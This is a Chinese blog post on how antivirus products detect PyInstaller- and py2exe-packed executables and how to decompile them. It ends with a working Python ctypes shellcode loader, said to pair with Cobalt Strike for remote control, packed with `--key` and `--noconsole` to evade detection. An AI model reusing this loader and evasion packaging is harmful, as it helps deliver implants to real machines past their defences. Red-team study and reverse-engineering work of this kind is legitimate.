pyinstaller打包exe免杀和逆向浅析(上)

简介: pyinstaller打包exe免杀和逆向浅析

01python3常见打包方法


说明:本文pythonpython3,打包的库为pyinstaller


本文的测试时间跨度比较长,文中的方法可能早已失效,感谢大家理解。


在当前攻防演练中,很多情况下都需要自己动手做一些免杀,在这里本文就以有手就会python语言为例,来一起学习下python免杀的那些事。


python3程序打包为exe文件,目前的主流方法大致分为以下几种:


其中,pyinstaller是可以将py文件直接打包为一个exe的,效果相对较好。另外两种打包的文件都很零碎。


众所周知,python打包的文件体积都比较大,而且很容易被杀软检测识别,甚至部分厂商会直接将Pyinstaller打包的任何文件直接拉黑报毒,所以在这里讨论下pyinstallerpy2exe来打包exe文件的情况。(本文中出现的测试仅针对本次测试,不代表其他场景的测试能力。



02文件打包测试


2.1 pyinstaller打包测试

2.1.1 简单的打印输出


这里面写一个脚本,就是一个简单的打印输出(测试时间:2021/05/02):


# -*- encoding: utf-8 -*-
# Time : 2021/05/02 10:14:44
# Author: crow
import os
import time 
while 1:
    print('hello crow')
    time.sleep(2)

使用pyinstaller进行打包,pyinstaller安装只需要使用pip3 install pyinstaller就可以安装。


打包的时候只需要使用 pyinstaller -F 文件名.py 即可。

360本地扫描(机器联网,但未使用360云查杀, 测试时间:2021/05/02



可正常运行。


火绒扫描(联网, 测试时间:2021/05/02



windows defender 静态正常,双击可运行,但是会提示是否将文件上传到云端分析(测试时间:2021/05/02):





上传virustotal后测试:(测试时间:2021/05/02



https://www.virustotal.com/gui/file/c644369f2a8bca67d3a1fa755847a21a35d8339e186393cb4ca36b599c67ffbf/detection

查杀率 7/68 ,感觉非常的离谱,因为这仅仅是一个普通的打包文件而已。



2.1.2 文件处理操作


下面这个脚本主要是以前测试DLL劫持的时候,自己写的辅助脚本,内容大概就是对DLL文件后缀的进行判断,然后将DLL后缀的文件提取出来,再新建一个文件后将其保存下来。


# -*- encoding: utf-8 -*-
import re 
path = 'D_Safe_Manage.exe.txt'
new_path = path[:-4] + '_dll.txt'
# print(new_path[:-4])
dlls = []
with open(path, 'r') as f:
    for line in f.readlines():
        # print(line)
        dll_name = re.findall(r'C:\\Windows\\SysWOW64(.*?).dll', line)
        # print(dll_name)
        if dll_name != []:
            dll_names = 'C:\Windows\SysWOW64' + str(dll_name[0]) + '.dll'
            # print(dll_names)
            dlls.append(dll_names)
with open(new_path, 'w') as f:
    for dll in dlls:
        f.write(dll + '\n')


文件打包之后,360、火绒、Windows Defender均报毒。(测试时间:2021.04.29





这里的360使用的是本地杀毒




既然exe都被杀,那如果只是单单的py文件呢?

测试下:

火绒:



windows defender也没有报毒。



360对python脚本无感,火绒和df会对py有检测,那这说明可能pyinstaller打包之后的文件的一些特征触发了相关的检测规则,而且其特征已经被某些av纳入了病毒特征,就像易语言打包的exe程序都会被杀一样。



vt测试打包之后的exe文件:



https://www.virustotal.com/gui/file/0b418052f4ac12c80a7a6a140818d317513a5442fed700b4e67ebee58079f9b6/detection


报毒56/69非常的离谱。。。。




2.2 py2exe打包测试

2.2.1 py2exe安装


直接使用 pip3 install py2exe  我的本地环境是python3 3.6.5 64位


2.2.2 py2exe打包测试

这时候对于一个普通的文件进行打包测试   test_py2.py测试时间:2021/06/16

这个脚本输出只是一个hello world

# -*- encoding: utf-8 -*-
# Time : 2021/04/29 09:17:37
# Author: crow
while True:
    print('hello world')


然后设置一个文件 setup.py


# -*- encoding:utf-8 -*-
from distutils.core import setup
import py2exe
INCLUDES = []
options = {
    "py2exe" :
        {
            "compressed" : 1, # 压缩   
            "optimize" : 2,
            "bundle_files" : 1, # 所有文件打包成一个 exe 文件  
            "includes" : INCLUDES,
            "dll_excludes" : ["MSVCR100.dll"]
        }
}
setup(
    options=options,    
    description = "this is a py2exe test",   
    zipfile=None,
    console = [{"script":'test_py2.py'}])


直接打包python setup_2.py py2exe



在dist文件夹下会生成一个test_py2.exe文件。



直接运行后只会输出一个hello world而已,在这里就不再本地进行查杀,直接上传vt进行测试:


VT查杀



https://www.virustotal.com/gui/file/84c6f02880ec8c959a5bf20e65ca69c1c293b4329c8206cf2f506b394342bfb8


查杀率 6/69,同样非常离谱。。。



由此可见,py2exe打包的exe文件同样也已经被标记,python打包免杀真的是穷途末路了。


2.3 打包文件总结


py2exe打包之后的文件,并不是一个单纯的exe文件,不能像pyinstaller那样,直接一个exe完事,文件必须放在dist文件夹下,需要引入第三方的文件才可以执行。pyinstaller是比较好的首选方法,所以后续的研究将使用pyinstaller进行打包。


从第二节已经看出,无论是pyinstaller还是py2exe,在打包为exe的时候,都或多或少被一些杀软标记,但是这也并不代表python免杀无路可走,接下来我们用其他的思路来研究下使用pyinstaller打包免杀和pyinstaller打包的文件如何逆向。


本文不会对反序列化、分离免杀、加壳等手法进行讨论,在这里仅仅对最简单的shellcode加载方法进行分析,希望本文能够对师傅们有所帮助。


03Pyinstaller -F参数反编译


注意:这里的exe文件反编译指的是对pyinstraller打包的文件进行反编译。


3.1  测试环境


操作系统:windows 10

python版本:python3.8.7

16进制编辑器:010 editor

exe反编译工具:pyinstxtractor.py

pyc反编译工具:uncompyle6


3.2  pyinstaller打包程序为exe


首先写一个简单的python3脚本

01_easy.py


# -*- encoding: utf-8 -*-
# Time : 2021/06/17 10:45:45
# Author: crow
import time 
while 1:
    print('hello world')
    time.sleep(1)

然后将该程序使用pyinstaller打包为exe文件

pyinstaller -F 01_easy.py


其中 参数 -F 是为了将程序打包为一个exe文件,而且不产生其他的文件



打包完成之后,本地会生成一个dist的文件夹,在这个文件夹里就有一个打包好的exe文件。


运行试试:

此时程序运行正常,解析来就是反编译了。


3.3 反编译_pyc


针对pyinstaller打包之后的exe反编译工具:pyinstxtractor.py


pyinstaller extractor是可以提取出pyinstaller所创建的exe文件为pyc格式。


下载链接:


https://sourceforge.net/projects/pyinstallerextractor/


将需要反编译的exe和pyinstxtractor.py放到同一个目录下直接运行



python pyinstxtractor.py 01_easy.exe


解密成功之后,会生成一个xxx.exe_extracted的文件夹。



3.4 pyc到源码


pyinstaller在打包的时候,会将pyc文件的前8个字节清除,所以后期需要自己添加上去,前四个字节为python编译的版本,后四个字节为时间戳。(四个字节的magic number、四个字节的timestamp

所以在这里可以通过struct文件来获取其中的信息,再添加到01_easy文件里面去


因此这里将两个文件单独复制出来,通过16进制查看工具来查看下文件,Windows系统下可以使用winhex,mac系统下可以使用010 editor

通过对比可以发现,struct01_easy多了8个字节(这里只是做了一个粗略的解释,具体的原因肯定不是看出来的,有兴趣的师傅可以翻下源码)。




因此这里可以将这些字节复制插入到01_easy中去。



在这里新建了一个文件,将两个进行结合:



再将文件保存为01_easy.pyc



得到pyc文件之后就比较容易后去源代码了,这里有两种方法,一个是在线反编译,另一种是使用uncompyle6

其中在线反编译地址为:https://tool.lu/pyc

在线反编译效果:



可以看到这个效果不是很好,有一部分代码并没有成功编译出来。


那试试uncompyle6,目前可以在python3上使用pip的方式进行安装pip3 install uncompyle6



然后直接使用命令uncompyle6 01_easy.pyc



可以将文件内容保存到一个文本中


uncompyle6 01_easy.pyc > 01_easy.py


打开之后:



此处得到源码。


04 -F --key参数反编译


在使用pyinstaller的时候,可以使用--key参数对生成的exe进行加密,在使用这个参数的时候需要pycrypto库,可以通过pip的方式进行安装,但是保不齐安装的时候会出现一些问题,这里就不再对此展开讲解,直接进行使用。


4.1 python版本的shellcode


什么是shellcode?


在攻击中,shellcode是一段用于利用软件漏洞的有效负载,shellcode16进制的机器码,以其经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。可在寄存器eip溢出后,放入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。(来源:百度百科)


下面的代码为最基础版本的shellcode,配合Cobalt Strike使用,可实现远控。


# -*- encoding: utf-8 -*-
# Time : 2021/04/29 11:19:04
# Author: crow
import ctypes
shellcode =  b""
shellcode += b"\x\"
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr), 
    buf, 
    ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.c_uint64(ptr), 
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))


在这里直接使用以下参数进行加密混淆:



pyinstaller -F --key crow123321  --noconsole py_shellcode.py


其中--key之后的字符可以自定义。



相关文章
|
25天前
|
Python
python脚本打包成可执行文件(pyinstaller)
python脚本打包成可执行文件(pyinstaller)
|
10月前
|
C++ Python Windows
用 Pyinstaller 模块将 Python 程序打包成 exe 文件(全网最全面最详细)(一)
用 Pyinstaller 模块将 Python 程序打包成 exe 文件(全网最全面最详细)(一)
233 0
|
10月前
|
IDE 开发工具 Python
用 Pyinstaller 模块将 Python 程序打包成 exe 文件(全网最全面最详细)(二)
用 Pyinstaller 模块将 Python 程序打包成 exe 文件(全网最全面最详细)(二)
455 0
|
10月前
|
JSON 数据格式 Python
用 Pyinstaller 模块将 Python 程序打包成 exe 文件(全网最全面最详细)(三)
用 Pyinstaller 模块将 Python 程序打包成 exe 文件(全网最全面最详细)(三)
188 0
|
11月前
|
安全 Shell 数据安全/隐私保护
pyinstaller打包exe免杀和逆向浅析(下)
pyinstaller打包exe免杀和逆向浅析
529 0
|
11月前
|
数据安全/隐私保护 Python
Python抖音视频去水印,并打包成exe可执行文件
Python抖音视频去水印,并打包成exe可执行文件
331 0
|
区块链 Python
pyinstaller打包exe
pyinstaller打包exe
108 0
pyinstaller打包exe
|
Python
Python编程:pyinstaller打包成exe可执行文件
Python编程:pyinstaller打包成exe可执行文件
107 0
|
数据采集 程序员 Python
小工具随手记:使用Pyinstaller将Python程序打包成exe
小工具随手记:使用Pyinstaller将Python程序打包成exe
小工具随手记:使用Pyinstaller将Python程序打包成exe